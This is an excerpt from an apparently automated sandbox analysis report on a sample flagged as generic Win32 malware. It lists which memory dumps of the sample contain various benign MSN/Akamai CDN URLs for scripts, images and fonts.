SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/2366737e/webcore/externalscripts/oneTrust/ski
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.357151769.0000000004260000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530840714.0000000005E18000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/5445db85/webcore/externalscripts/oneTrust/de-
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.287712983.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.530993511.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/_h/975a7d20/webcore/externalscripts/jquery/jquer
Source: d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/css/3bf20fde-50425371/directi
Source: d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-2923b6c2/directio
Source: d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/3bf20fde-b532f4eb/directio
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.286611521.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294683483.00000000042A7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294669176.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.286003731.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486271156.0000000005B10000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532855239.0000000006588000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.412834731.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409143142.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.412883082.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.413096975.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.413300435.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-2923b6c2/directio
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.286611521.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294683483.00000000042A7000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.294669176.00000000042A6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.286003731.0000000004598000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486271156.0000000005B10000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000002.532855239.0000000006588000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.412834731.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409143142.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.412883082.00000000044EF000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.413096975.00000000044F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.413300435.00000000044F7000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/de-ch/homepage/_sc/js/f60532dd-f8dd99d9/directio
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345197319.0000000006051000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446385507.00000000059A0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502749747.0000000006651000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/11/755f86.png
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279645647.0000000004271000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.279838375.0000000004278000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.293538991.0000000004539000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280237180.00000000042B1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.331107259.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.419741274.0000000004687000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.447515827.0000000004581000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.495140579.0000000005AE8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.422725299.0000000004769000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.486922603.0000000005AA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.423102370.0000000004689000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/2b/a5ea21.ico
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/44/c08e43.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/52/8adb60.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/64/a8a064.gif
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/81/58b810.gif
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483550226.0000000005E20000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.496566679.0000000005E99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483932785.0000000005D80000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.446872861.0000000004489000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498402621.0000000005E19000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/86/2042ed.woff
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/8c/865070.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335316985.0000000005328000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338095551.00000000043C1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.483756426.0000000005DC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.498076357.0000000005DD9000.00000004.00000800.00020000.00000000.sdmp, d.0.dr	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/95/8bd8bf.jpg
Source: SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345005015.00000000053A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.330382505.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.280176337.0000000004221000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335513554.00000000052E8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292741553.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.329946845.00000000052E0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.292772803.0000000004307000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338007811.0000000004501000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283728311.00000000043F0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.337881619.0000000005388000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.338174485.0000000004261000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.345262940.0000000005A51000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.283965593.00000000043F1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000000.00000003.335394241.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.484907031.0000000005AB0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.448095229.0000000004568000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.420058909.0000000004760000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.487341111.0000000005AC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.409522338.0000000004519000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.502518720.00000000065A9000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.Malware-gen.30674.exe, 00000008.00000003.414971086.00000000045E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://static-global-s-msn-com.akamaized.net/hp-neu/sc/9b/e151e5.gif
